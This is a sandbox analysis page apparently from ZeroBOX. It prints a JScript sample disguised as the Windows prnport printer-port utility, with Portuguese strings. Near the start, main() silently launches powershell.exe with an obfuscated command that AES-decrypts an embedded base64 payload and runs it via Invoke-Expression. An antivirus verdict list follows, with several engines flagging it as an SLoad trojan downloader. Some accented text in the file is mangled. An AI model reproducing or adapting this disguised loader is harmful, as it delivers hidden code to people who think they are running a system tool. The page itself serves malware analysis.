Static | ZeroBOX
No static analysis available.
var kActionAdd = 0;
var kActionDelete = 1;
var kActionList = 2;
var kActionUnknown = 3;
var kActionGet = 4;
var kActionSet = 5;
var kErrorSuccess = 0;
var kErrorFailure = 1;
var kFlagCreateOrUpdate = 0;
var kNameSpace = "root\\cimv2";
var krabudo = 1;
var kPortName = 2;
var kDoubleSpool = 3;
var kPortNumber = 4;
var kPortType = 5;
var kHostAddress = 6;
var kSNMPDeviceIndex = 7;
var kCommunityName = 8;
var kSNMP = 9;
var kQueueName = 10;
var kUserName = 11;
var kPassword = 12;
var L_Empty_Text = "";
var L_Space_Text = " ";
var L_Colon_Text = ":";
var L_LPR_Queue = "LPR";
var L_Error_Text = "Erro";
var L_Success_Text = "
xito";
var L_Failed_Text = "Falha";
var L_Hex_Text = "0x";
var L_Printer_Text = "Impressora";
var L_Operation_Text = "Opera
var L_Provider_Text = "Provedor";
var L_Description_Text = "Descri
var L_Debug_Text = "Depurar:";
var L_Help_Help_General01_Text = "Uso: prnport [-adlgt?] [-r porta][-s servidor][-u nome de usu
rio][-w senha]";
var L_Help_Help_General02_Text = " [-o raw|lpr][-h host address][-q queue][-n number]";
var L_Help_Help_General03_Text = " [-me | -md ][-i SNMP index][-y community][-2e | -2d]";
var L_Help_Help_General04_Text = "Argumentos:";
var L_Help_Help_General05_Text = "-a - adicionar uma porta";
var L_Help_Help_General06_Text = "-d - excluir a porta especificada";
var L_Help_Help_General07_Text = "-g - obter configura
o para uma porta TCP";
var L_Help_Help_General08_Text = "-h - endere
o IP do dispositivo";
var L_Help_Help_General09_Text = "-i -
ndice SNMP, se SNMP estiver ativado";
var L_Help_Help_General10_Text = "-l - listar todas as portas TCP";
var L_Help_Help_General11_Text = "-m - tipo de SNMP. [e] ativar, [d] desativar";
var L_Help_Help_General12_Text = "-n - n
mero de porta; aplica-se a portas TCP RAW";
var L_Help_Help_General13_Text = "-o - tipo de porta, sem processamento ou lpr";
var L_Help_Help_General14_Text = "-q - nome de fila; aplica-se somente a portas TCP LPR";
var L_Help_Help_General15_Text = "-r - nome da porta";
var L_Help_Help_General16_Text = "-s - nome do servidor";
var L_Help_Help_General17_Text = "-t - definir configura
o para uma porta TCP";
var L_Help_Help_General18_Text = "-u - nome do usu
var L_Help_Help_General19_Text = "-w - senha";
var L_Help_Help_General20_Text = "-y - nome de comunidade, se SNMP estiver ativado";
var L_Help_Help_General21_Text = "-2 - spool duplo; aplica-se a portas TCP LPR. [e] ativar, [d] desativar";
var L_Help_Help_General22_Text = "-? - exibir uso do comando";
var L_Help_Help_General23_Text = "Exemplos:";
var L_Help_Help_General24_Text = "prnport -l -s server";
var L_Help_Help_General25_Text = "prnport -d -s server -r IP_1.2.3.4";
var L_Help_Help_General26_Text = "prnport -a -s server -r IP_1.2.3.4 -h 1.2.3.4 -o raw -n 9100";
var L_Help_Help_General27_Text = "prnport -t -s server -r IP_1.2.3.4 -me -y public -i 1 -n 9100";
var L_Help_Help_General28_Text = "prnport -g -s server -r IP_1.2.3.4";
var L_Help_Help_General29_Text = "prnport -a -r IP_1.2.3.4 -h 1.2.3.4";
var L_Help_Help_General30_Text = "Coment
rio:";
var L_Help_Help_General31_Text = "O
ltimo exemplo tentar
obter as configura
es do dispositivo no endere
o IP especificado.";
var L_Help_Help_General32_Text = "Se um dispositivo for detectado, uma porta TCP ser
adicionada com as configura
es preferenciais do dispositivo.";
var L_Help_Help_Host01_Text = "Este script deve ser executado a partir do prompt de comando usando CScript.exe.";
var L_Help_Help_Host02_Text = "Por exemplo: CScript script.vbs argumentos";
var L_Help_Help_Host03_Text = "";
var L_Help_Help_Host04_Text = "Para definir CScript como o aplicativo padr
o para a execu
o de arquivos .VBS, execute:";
var L_Help_Help_Host05_Text = " CScript //H:CScript //S";
var L_Help_Help_Host06_Text = "Voc
poder
em seguida executar \"script.vbs argumentos\" sem incluir CScript antes to script.";
var L_Text_Error_General01_Text = "O host de script n
de ser determinado.";
var L_Text_Error_General02_Text = "N
vel analisar a linha de comando.";
var L_Text_Error_General03_Text = "C
digo de erro do Win32";
var L_Text_Msg_General01_Text = "Porta adicionada";
var L_Text_Msg_General02_Text = "N
vel excluir porta";
var L_Text_Msg_General03_Text = "N
o foi poss
vel obter a porta";
var L_Text_Msg_General04_Text = "Porta criada/atualizada";
var L_Text_Msg_General05_Text = "N
o foi poss
vel criar/atualizar porta";
var L_Text_Msg_General06_Text = "N
vel enumerar portas";
var L_Text_Msg_General07_Text = "N
mero de portas enumeradas";
var L_Text_Msg_General08_Text = "Porta exclu
var L_Text_Msg_General09_Text = "N
o foi poss
vel obter o objeto SWbemLocator";
var L_Text_Msg_General10_Text = "N
vel conectar-se ao servi
o WMI";
var L_Text_Msg_Port01_Text = "Nome do servidor";
var L_Text_Msg_Port02_Text = "Nome da porta";
var L_Text_Msg_Port03_Text = "Endere
o do host";
var L_Text_Msg_Port04_Text = "Protocolo RAW";
var L_Text_Msg_Port05_Text = "LPR de protocolo";
var L_Text_Msg_Port06_Text = "N
mero da porta";
var L_Text_Msg_Port07_Text = "Fila";
var L_Text_Msg_Port08_Text = "Contagem de bytes ativada";
var L_Text_Msg_Port09_Text = "Contagem de bytes desativada";
var L_Text_Msg_Port10_Text = "SNMP ativado";
var L_Text_Msg_Port11_Text = "SNMP desativado";
var L_Text_Msg_Port12_Text = "Comunidade";
var L_Text_Msg_Port13_Text = "
ndice de dispositivos";
var L_Text_Dbg_Msg01_Text = "Na fun
o DelPort";
var L_Text_Dbg_Msg02_Text = "Na fun
o CreateOrSetPort";
var L_Text_Dbg_Msg03_Text = "Na fun
o ListPorts";
var L_Text_Dbg_Msg04_Text = "Na fun
o GetPort";
var L_Text_Dbg_Msg05_Text = "Na fun
o ParseCommandLine";
main();
function main() {
if (!aloinado()) {
var cavanejo = WScript.CreateObject("WScript.Shell");
var santinho, rapeira, angulinervado, acostado, cochar;
santinho = "atrasadoentardecerentardecervedador86atrasado5atrasadovedadoratrasado67vedador77aferrenhar95867467vedador6entardecerentardecer5atrasado9";
santinho = salvadora( santinho, "entardecer", "0");
santinho = salvadora( santinho, "atrasado", "1");
santinho = salvadora( santinho, "vedador", "2");
santinho = salvadora( santinho, "aferrenhar", "3");
rapeira = "dHuOG6Mz83ZCq1O/KsaSrfVt/LbAVdm7IiNdyGflETH+rezE5EQIQ0P6xFkWGTzGs4b/lHVRzoCiVe6FU9R6dFRq/i8oPBswMVKvrdWih4d5x+mp5PEhWbtLrb+ZWUg5ESHQ8V7pl3KRNP+X4mf8roziGQxdGRJyYTA2kRH+Lw4DWOG9CBNtxeVOjyeA71gFrDF45q5kk4+25Rnstv/OjSScky12JxXLIOM/3bJs2cV3PCt/PDC97afkhPGPnKUid5U6nZpf/n974ij8wZHq3NmEvoHBEtUqZW+7wqJh/42XueHVIwsTnHGOkF7pzUXsAyvKQJRlHTBn0jkqRR/agenTN8Cmr9bPhhXiOPIvhM2p2LghY0DHZySg6f/gZ8hUqrt4PsXQfwDyHVmSerSd7JAOsz4VFx0LxgM6PrmMDC8BksQeNWVhxq5nDCz4KJFaRnmyrjbofbJrTIpzDCHDFjo+rfdTQvE3hElVW2MjsuXh0T0ABRD17NyzcoowyeTnQg7q3f6BrEc7EStqf7YGZUoqXUrv1jLMb4Zjn/sVBi1j5l2lwZ2sOnGmpVCNS/lPLYvmifyOwqwMRih8W9q7lt6/HFOXHGRWK1ByG4iq8HB78aO7hkY7SgPIsC4UtjyOLptqdSEScC0y0Do3hSMltdjeO2uWnldIJ99BMwrTkXsiHsFmfTHLGe6JvbTuUU6pCS9022RvSgJLt9wwgvt9j+3j7UM7LQU5WvlA4wXVpD8UcoUhHqHVs2YdxAsYfRxJUFLo948JTQGJFZDBlYLYVKyZ+ff0pocCNkTx5dNEQhDuW8J9DlbVbgK5+kCixm3muPgAcWR6XFjuPQ+pHZ97q2iKa0GEB1ZQQhHyy44rNRTo6Rwdy3KiDhQoQ6V7kRAh5uJPLqkKrWjxfdv553yjSu25hjj7+TVYwNNuwUoA6q23Do0ezM+L11NSUoi7nxzwhTnogT2pTDiQZ89oVhTn9Pkgs5znB2/bqtXBiGhslKqPt
angulinervado = "pow%entardecer%rsh%entardecer%ll.%entardecer%x%entardecer%";
angulinervado = salvadora( angulinervado, "%entardecer%", "e");
acostado = "-command";
cochar = "(('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esMa" +
"nagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.Paddin" +
"gMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Sy" +
"ste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged." +
"CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetS" +
"tring'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI" + santinho + "CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI" + rapeira + "CnI;TMIt" +
"extoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe" +
"4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77)," +
"[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')";
cavanejo.Run(angulinervado + " " + acostado + " " + cochar, 0, false);
WScript.Quit();
var oParamDict = new ActiveXObject("Scripting.Dictionary");
var iRetval = ParseCommandLine(oParamDict);
if (iRetval === kErrorSuccess) {
switch (oParamDict.Item("action")) {
case kActionAdd:
iRetval = CreateOrSetPort(oParamDict);
break;
case kActionDelete:
iRetval = DelPort(oParamDict);
break;
case kActionList:
iRetval = ListPorts(oParamDict);
break;
case kActionGet:
iRetval = GetPort(oParamDict);
break;
case kActionSet:
iRetval = CreateOrSetPort(oParamDict);
break;
default:
Usage(true);
return;
}
function DelPort(oParamDict) {
DebugPrint(L_Text_Dbg_Msg01_Text);
DebugPrint(L_Text_Msg_Port01_Text + L_Space_Text + oParamDict.Item(krabudo));
DebugPrint(L_Text_Msg_Port02_Text + L_Space_Text + oParamDict.Item(kPortName));
var oembutir = null;
var iResult = kErrorFailure;
var strServer = oParamDict.Item(krabudo);
var strPort = oParamDict.Item(kPortName);
var strUser = oParamDict.Item(kUserName);
var strPassword = oParamDict.Item(kPassword);
if (WmiConnect(strServer, kNameSpace, strUser, strPassword, oembutir)) {
var oPort = oembutir.Get("Win32_TCPIPPrinterPort='" + strPort + "'");
if (Err.number === kErrorSuccess) {
oPort.Delete_();
if (Err.number === kErrorSuccess) {
WScript.Echo(L_Text_Msg_General08_Text + L_Space_Text + strPort);
iResult = kErrorSuccess;
} else {
WScript.Echo(L_Text_Msg_General02_Text + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
LastError();
}
} else {
WScript.Echo(L_Text_Msg_General02_Text + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
LastError();
}
return iResult;
function CreateOrSetPort(oParamDict) {
DebugPrint(L_Text_Dbg_Msg02_Text);
DebugPrint(L_Text_Msg_Port01_Text + L_Space_Text + oParamDict.Item(krabudo));
DebugPrint(L_Text_Msg_Port02_Text + L_Space_Text + oParamDict.Item(kPortName));
DebugPrint(L_Text_Msg_Port06_Text + L_Space_Text + oParamDict.Item(kPortNumber));
DebugPrint(L_Text_Msg_Port07_Text + L_Space_Text + oParamDict.Item(kQueueName));
DebugPrint(L_Text_Msg_Port13_Text + L_Space_Text + oParamDict.Item(kSNMPDeviceIndex));
DebugPrint(L_Text_Msg_Port12_Text + L_Space_Text + oParamDict.Item(kCommunityName));
DebugPrint(L_Text_Msg_Port03_Text + L_Space_Text + oParamDict.Item(kHostAddress));
var oembutir = null;
var iResult = kErrorFailure;
var strServer = oParamDict.Item(krabudo);
var strPort = oParamDict.Item(kPortName);
var strUser = oParamDict.Item(kUserName);
var strPassword = oParamDict.Item(kPassword);
if (WmiConnect(strServer, kNameSpace, strUser, strPassword, oembutir)) {
var oPort = oembutir.Get("Win32_TCPIPPrinterPort.Name='" + strPort + "'");
if (Err.number !== kErrorSuccess) {
Err.clear();
oPort = oembutir.Get("Win32_TCPIPPrinterPort").SpawnInstance_();
}
if (Err.number !== kErrorSuccess) {
WScript.Echo(L_Text_Msg_General03_Text + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
return kErrorFailure;
}
oPort.Name = oParamDict.Item(kPortName);
oPort.HostAddress = oParamDict.Item(kHostAddress);
oPort.PortNumber = oParamDict.Item(kPortNumber);
oPort.SNMPEnabled = oParamDict.Item(kSNMP);
oPort.SNMPDevIndex = oParamDict.Item(kSNMPDeviceIndex);
oPort.SNMPCommunity = oParamDict.Item(kCommunityName);
oPort.Queue = oParamDict.Item(kQueueName);
oPort.ByteCount = oParamDict.Item(kDoubleSpool);
var PortType = oParamDict.Item(kPortType);
switch (PortType.toLowerCase()) {
case "raw":
oPort.Protocol = 1;
if (oPort.Queue !== null) {
WScript.Echo(L_Error_Text + L_Colon_Text + L_Space_Text + L_Help_Help_General14_Text);
return kErrorFailure;
}
break;
case "lpr":
oPort.Protocol = 2;
if (oPort.Queue === null) {
oPort.Queue = L_LPR_Queue;
}
break;
}
oPort.Put_(kFlagCreateOrUpdate);
if (Err.number === kErrorSuccess) {
WScript.Echo(L_Text_Msg_General04_Text + L_Space_Text + oPort.Name);
iResult = kErrorSuccess;
} else {
WScript.Echo(L_Text_Msg_General05_Text + L_Space_Text + oPort.Name + L_Space_Text +
L_Error_Text + L_Space_Text + L_Hex_Text + Err.number.toString(16) + L_Space_Text +
Err.description);
LastError();
iResult = kErrorFailure;
}
return iResult;
function ListPorts(oParamDict) {
DebugPrint(L_Text_Dbg_Msg03_Text);
var oembutir = null;
var iResult = kErrorFailure;
var strServer = oParamDict.Item(krabudo);
var strUser = oParamDict.Item(kUserName);
var strPassword = oParamDict.Item(kPassword);
if (WmiConnect(strServer, kNameSpace, strUser, strPassword, oembutir)) {
var Ports = oembutir.InstancesOf("Win32_TCPIPPrinterPort");
if (Err.number !== kErrorSuccess) {
WScript.Echo(L_Text_Msg_General06_Text + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
return kErrorFailure;
}
var iTotal = 0;
var e = new Enumerator(Ports);
for (; !e.atEnd(); e.moveNext()) {
var oPort = e.item();
iTotal++;
WScript.Echo(L_Empty_Text);
WScript.Echo(L_Text_Msg_Port01_Text + L_Space_Text + strServer);
WScript.Echo(L_Text_Msg_Port02_Text + L_Space_Text + oPort.Name);
WScript.Echo(L_Text_Msg_Port03_Text + L_Space_Text + oPort.HostAddress);
if (oPort.Protocol === 1) {
WScript.Echo(L_Text_Msg_Port04_Text);
WScript.Echo(L_Text_Msg_Port06_Text + L_Space_Text + oPort.PortNumber);
} else {
WScript.Echo(L_Text_Msg_Port05_Text);
WScript.Echo(L_Text_Msg_Port07_Text + L_Space_Text + oPort.Queue);
if (oPort.ByteCount) {
WScript.Echo(L_Text_Msg_Port08_Text);
} else {
WScript.Echo(L_Text_Msg_Port09_Text);
}
}
if (oPort.SNMPEnabled) {
WScript.Echo(L_Text_Msg_Port10_Text);
WScript.Echo(L_Text_Msg_Port12_Text + L_Space_Text + oPort.SNMPCommunity);
WScript.Echo(L_Text_Msg_Port13_Text + L_Space_Text + oPort.SNMPDevIndex);
} else {
WScript.Echo(L_Text_Msg_Port11_Text);
}
}
WScript.Echo(L_Empty_Text);
WScript.Echo(L_Text_Msg_General07_Text + L_Space_Text + iTotal);
iResult = kErrorSuccess;
return iResult;
function GetPort(oParamDict) {
DebugPrint(L_Text_Dbg_Msg04_Text);
DebugPrint(L_Text_Msg_Port01_Text + L_Space_Text + oParamDict.Item(krabudo));
DebugPrint(L_Text_Msg_Port02_Text + L_Space_Text + oParamDict.Item(kPortName));
var oembutir = null;
var iResult = kErrorFailure;
var strServer = oParamDict.Item(krabudo);
var strPort = oParamDict.Item(kPortName);
var strUser = oParamDict.Item(kUserName);
var strPassword = oParamDict.Item(kPassword);
if (WmiConnect(strServer, kNameSpace, strUser, strPassword, oembutir)) {
var oPort = oembutir.Get("Win32_TCPIPPrinterPort.Name='" + strPort + "'");
if (Err.number === kErrorSuccess) {
WScript.Echo(L_Empty_Text);
WScript.Echo(L_Text_Msg_Port01_Text + L_Space_Text + strServer);
WScript.Echo(L_Text_Msg_Port02_Text + L_Space_Text + oPort.Name);
WScript.Echo(L_Text_Msg_Port03_Text + L_Space_Text + oPort.HostAddress);
if (oPort.Protocol === 1) {
WScript.Echo(L_Text_Msg_Port04_Text);
WScript.Echo(L_Text_Msg_Port06_Text + L_Space_Text + oPort.PortNumber);
} else {
WScript.Echo(L_Text_Msg_Port05_Text);
WScript.Echo(L_Text_Msg_Port07_Text + L_Space_Text + oPort.Queue);
if (oPort.ByteCount) {
WScript.Echo(L_Text_Msg_Port08_Text);
} else {
WScript.Echo(L_Text_Msg_Port09_Text);
}
}
if (oPort.SNMPEnabled) {
WScript.Echo(L_Text_Msg_Port10_Text);
WScript.Echo(L_Text_Msg_Port12_Text + L_Space_Text + oPort.SNMPCommunity);
WScript.Echo(L_Text_Msg_Port13_Text + L_Space_Text + oPort.SNMPDevIndex);
} else {
WScript.Echo(L_Text_Msg_Port11_Text);
}
iResult = kErrorSuccess;
} else {
WScript.Echo(L_Text_Msg_General03_Text + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
LastError();
}
return iResult;
function DebugPrint(strString) {
if (gDebugFlag) {
WScript.Echo(L_Debug_Text + L_Space_Text + strString);
function ParseCommandLine(oParamDict) {
DebugPrint(L_Text_Dbg_Msg05_Text);
var oArgs = WScript.Arguments;
oParamDict.Add("action", kActionUnknown);
for (var iIndex = 0; iIndex < oArgs.length; iIndex++) {
switch (oArgs(iIndex)) {
case "-g":
oParamDict.Item("action") = kActionGet;
break;
case "-t":
oParamDict.Item("action") = kActionSet;
break;
case "-a":
oParamDict.Item("action") = kActionAdd;
break;
case "-d":
oParamDict.Item("action") = kActionDelete;
break;
case "-l":
oParamDict.Item("action") = kActionList;
break;
case "-2e":
oParamDict.Add(kDoubleSpool, true);
break;
case "-2d":
oParamDict.Add(kDoubleSpool, false);
break;
case "-s":
oParamDict.Add(krabudo, RemoveBackslashes(oArgs(++iIndex)));
break;
case "-u":
oParamDict.Add(kUserName, oArgs(++iIndex));
break;
case "-w":
oParamDict.Add(kPassword, oArgs(++iIndex));
break;
case "-n":
oParamDict.Add(kPortNumber, oArgs(++iIndex));
break;
case "-r":
oParamDict.Add(kPortName, oArgs(++iIndex));
break;
case "-o":
oParamDict.Add(kPortType, oArgs(++iIndex));
break;
case "-h":
oParamDict.Add(kHostAddress, oArgs(++iIndex));
break;
case "-q":
oParamDict.Add(kQueueName, oArgs(++iIndex));
break;
case "-i":
oParamDict.Add(kSNMPDeviceIndex, oArgs(++iIndex));
break;
case "-y":
oParamDict.Add(kCommunityName, oArgs(++iIndex));
break;
case "-me":
oParamDict.Add(kSNMP, true);
break;
case "-md":
oParamDict.Add(kSNMP, false);
break;
case "-?":
Usage(true);
return kErrorFailure;
default:
Usage(true);
return kErrorFailure;
}
if (Err.number === kErrorSuccess) {
return kErrorSuccess;
} else {
WScript.Echo(L_Text_Error_General02_Text + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
return kErrorFailure;
function salvadora(anilocros, gomma, berro) {
if (typeof anilocros !== 'string') {
throw new Error('O primeiro par
metro deve ser uma string.');
if (typeof gomma !== 'string') {
throw new Error('O segundo par
metro deve ser uma string.');
if (typeof berro !== 'string') {
throw new Error('O terceiro par
metro deve ser uma string.');
var feramina = anilocros.split(gomma);
var novaFeramina = [];
for (var i = 0; i < feramina.length; i++) {
// Manipula
o ou transforma
o hipot
tica de cada elemento
var elemento = feramina[i];
novaFeramina.push(elemento);
var resultado = '';
for (var j = 0; j < novaFeramina.length; j++) {
resultado += novaFeramina[j];
if (j < novaFeramina.length - 1) {
resultado += berro;
}
return resultado;
function Usage(bExit) {
WScript.Echo(L_Help_Help_General01_Text);
WScript.Echo(L_Help_Help_General02_Text);
WScript.Echo(L_Help_Help_General03_Text);
WScript.Echo(L_Help_Help_General04_Text);
WScript.Echo(L_Help_Help_General05_Text);
WScript.Echo(L_Help_Help_General06_Text);
WScript.Echo(L_Help_Help_General07_Text);
WScript.Echo(L_Help_Help_General08_Text);
WScript.Echo(L_Help_Help_General09_Text);
WScript.Echo(L_Help_Help_General10_Text);
WScript.Echo(L_Help_Help_General11_Text);
WScript.Echo(L_Help_Help_General12_Text);
WScript.Echo(L_Help_Help_General13_Text);
WScript.Echo(L_Help_Help_General14_Text);
WScript.Echo(L_Help_Help_General15_Text);
WScript.Echo(L_Help_Help_General16_Text);
WScript.Echo(L_Help_Help_General17_Text);
WScript.Echo(L_Help_Help_General18_Text);
WScript.Echo(L_Help_Help_General19_Text);
WScript.Echo(L_Help_Help_General20_Text);
WScript.Echo(L_Help_Help_General21_Text);
WScript.Echo(L_Help_Help_General22_Text);
WScript.Echo(L_Empty_Text);
WScript.Echo(L_Help_Help_General23_Text);
WScript.Echo(L_Help_Help_General24_Text);
WScript.Echo(L_Help_Help_General25_Text);
WScript.Echo(L_Help_Help_General26_Text);
WScript.Echo(L_Help_Help_General27_Text);
WScript.Echo(L_Help_Help_General28_Text);
WScript.Echo(L_Help_Help_General29_Text);
WScript.Echo(L_Empty_Text);
WScript.Echo(L_Help_Help_General30_Text);
WScript.Echo(L_Help_Help_General31_Text);
WScript.Echo(L_Help_Help_General32_Text);
if (bExit) {
WScript.Quit(1);
function aloinado() {
var strFullName = WScript.FullName;
var i = strFullName.indexOf(".exe", 1);
if (i !== -1) {
var j = strFullName.lastIndexOf("\\", i, 1);
if (j !== -1) {
var strCommand = strFullName.substring(j + 1, i);
if (strCommand.toLowerCase() === "cscript") {
return true;
}
}
var Err;
if (Err !== 0) {
return false;
function LastError() {
var oError = GetObject("WbemScripting.SWbemLastError");
if (Err.number === kErrorSuccess) {
WScript.Echo(L_Operation_Text + L_Space_Text + oError.Operation);
WScript.Echo(L_Provider_Text + L_Space_Text + oError.ProviderName);
WScript.Echo(L_Description_Text + L_Space_Text + oError.Description);
WScript.Echo(L_Text_Error_General04_Text + L_Space_Text + oError.StatusCode);
function WmiConnect(strServer, strNameSpace, strUser, strPassword, oembutir) {
var bResult = false;
var oLocator = new ActiveXObject("WbemScripting.SWbemLocator");
oembutir = oLocator.ConnectServer(strServer, strNameSpace, strUser, strPassword);
if (Err.number === kErrorSuccess) {
bResult = true;
oembutir.Security_.ImpersonationLevel = 3;
oembutir.Security_.Privileges.AddAsString("SeLoadDriverPrivilege");
Err.clear();
} else {
WScript.Echo(L_Text_Msg_General10_Text + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
return bResult;
function RemoveBackslashes(strServer) {
if (strServer.indexOf("\\\\") === 0) {
return strServer.slice(2);
return strServer;
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Clean
Skyhigh BehavesLike.JS.Exploit.mm
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec ISB.Downloader!gen81
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Trj]
Cynet Clean
Kaspersky HEUR:Trojan-Downloader.Script.SLoad.gen
BitDefender Clean
NANO-Antivirus Trojan.Script.Heuristic-js.iacgm
ViRobot Clean
MicroWorld-eScan Clean
Tencent Clean
TACHYON Clean
Sophos Clean
F-Secure Clean
DrWeb Clean
VIPRE Clean
TrendMicro Clean
FireEye Clean
Emsisoft Clean
huorong VirTool/PS.Obfuscator.d
GData Clean
Jiangmin Clean
Varist Clean
Avira Clean
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Clean
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Trojan-Downloader.Script.SLoad.gen
Microsoft Clean
Google Clean
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
MAX Clean
VBA32 Clean
Zoner Clean
Rising Clean
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG Script:SNH-gen [Trj]
Panda Clean
CrowdStrike Clean
alibabacloud Clean
No IRMA results available.